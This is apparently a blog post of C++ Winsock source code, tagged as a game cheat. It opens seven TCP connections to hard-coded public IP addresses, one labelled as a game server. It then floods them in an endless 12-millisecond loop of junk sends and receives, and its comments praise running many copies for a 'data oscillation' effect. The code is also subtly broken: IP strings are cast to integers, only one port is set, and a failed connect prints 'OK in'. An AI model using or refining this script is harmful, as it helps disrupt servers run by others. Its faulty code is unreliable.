using namespace std; #include<stdlib.h> #pragma comment(lib,"WS2_32.lib") #include <iostream> #include <Windows.h> SOCKET g_socket; SOCKET g_socket2; SOCKET g_socket3; SOCKET g_socket4; SOCKET g_socket5; SOCKET g_socket6; SOCKET g_socket7; WSADATA wsd; SOCKADDR_IN servAddr;//服务器地址 SOCKADDR_IN servAddr2;//服务器地址 SOCKADDR_IN servAddr3;//服务器地址 SOCKADDR_IN servAddr4;//服务器地址 SOCKADDR_IN servAddr5;//服务器地址 SOCKADDR_IN servAddr6;//服务器地址 SOCKADDR_IN servAddr7;//服务器地址 int retVal;//调用Socket函数的返回值 char buf[200]; int main() { //初始化Socket环境 if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) { printf("WSAStartup failed!\n"); return 1; } //创建监听的Socket g_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET == g_socket) { printf("socket failed!\n"); } g_socket2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET == g_socket2) { printf("socket failed!\n"); } g_socket3 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET == g_socket3) { printf("socket failed!\n"); } g_socket4 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET == g_socket4) { printf("socket failed!\n"); } g_socket5 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET == g_socket5) { printf("socket failed!\n"); } g_socket6 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET == g_socket6) { printf("socket failed!\n"); } g_socket7 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET == g_socket7) { printf("socket failed!\n"); } //设置服务器Socket地址 servAddr.sin_family = AF_INET; servAddr.sin_addr.S_un.S_addr = (ULONG)"104.21.42.44"; servAddr2.sin_family = AF_INET; servAddr2.sin_addr.S_un.S_addr = (ULONG)"103.198.203.152"; servAddr3.sin_family = AF_INET; servAddr3.sin_addr.S_un.S_addr = (ULONG)"180.111.196.17"; servAddr4.sin_family = AF_INET; servAddr4.sin_addr.S_un.S_addr = (ULONG)"103.178.56.133"; servAddr5.sin_family = AF_INET; servAddr5.sin_addr.S_un.S_addr = (ULONG)"58.217.250.18"; servAddr6.sin_family = AF_INET; servAddr6.sin_addr.S_un.S_addr = (ULONG)"47.104.139.74"; servAddr7.sin_family = AF_INET; servAddr7.sin_addr.S_un.S_addr = (ULONG)"103.84.110.229"; //101.32.190.24 csol // 103.84.110.229 // 103.198.203.152 // 180.111.196.17 //servAddr.sin_addr.S_un.S_addr = (ULONG)"58.217.250.17"; //在实际应用中,建议将服务器的IP地址和端口号保存在配置文件中 servAddr.sin_port = htons(80); //计算地址的长度 //int sServerAddlen = sizeof(servAddr); //链接服务器 retVal = connect(g_socket, (LPSOCKADDR)&servAddr, sizeof(servAddr)); if (retVal != 0) { printf("OK in"); } retVal = connect(g_socket2, (LPSOCKADDR)&servAddr2, sizeof(servAddr2)); if (retVal != 0) { printf("OK in"); } retVal = connect(g_socket3, (LPSOCKADDR)&servAddr3, sizeof(servAddr3)); if (retVal != 0) { printf("OK in"); } retVal = connect(g_socket4, (LPSOCKADDR)&servAddr4, sizeof(servAddr4)); if (retVal != 0) { printf("OK in"); } retVal = connect(g_socket5, (LPSOCKADDR)&servAddr5, sizeof(servAddr5)); if (retVal != 0) { printf("OK in"); } retVal = connect(g_socket6, (LPSOCKADDR)&servAddr6, sizeof(servAddr6)); if (retVal != 0) { printf("OK in"); } retVal = connect(g_socket7, (LPSOCKADDR)&servAddr7, sizeof(servAddr7)); if (retVal != 0) { printf("OK in"); } sprintf_s(buf,"鸟人猪守屎很甜懒子很田 4/0/7 ; *0.0000001f; ;0* ;int 3; & Math_PI;"); apple: //顺序错乱发送 有数据震荡效果 send(g_socket6, buf, 200, 0); recv(g_socket3, buf, 200, 0); recv(g_socket4, buf, 200, 0); recv(g_socket5, buf, 200, 0); send(g_socket5, buf, 200, 0); send(g_socket, buf, 200, 0); send(g_socket2, buf, 200, 0); send(g_socket3, buf, 200, 0); send(g_socket4, buf, 200, 0); send(g_socket7, buf, 200, 0); recv(g_socket, buf, 200, 0); recv(g_socket2, buf, 200, 0); recv(g_socket7, buf, 200, 0); recv(g_socket6, buf, 200, 0); Sleep(12);//处理器不加停歇会飙升,脚本可以多开灰常地灰常灰常啊 goto apple; }
控制台程序 vs 2022 去掉debug标记,不然有点慢
标签:200,外挂,常玩,addr,阻塞,printf,buf,sin,socket From: https://www.cnblogs.com/wscccc/p/18222207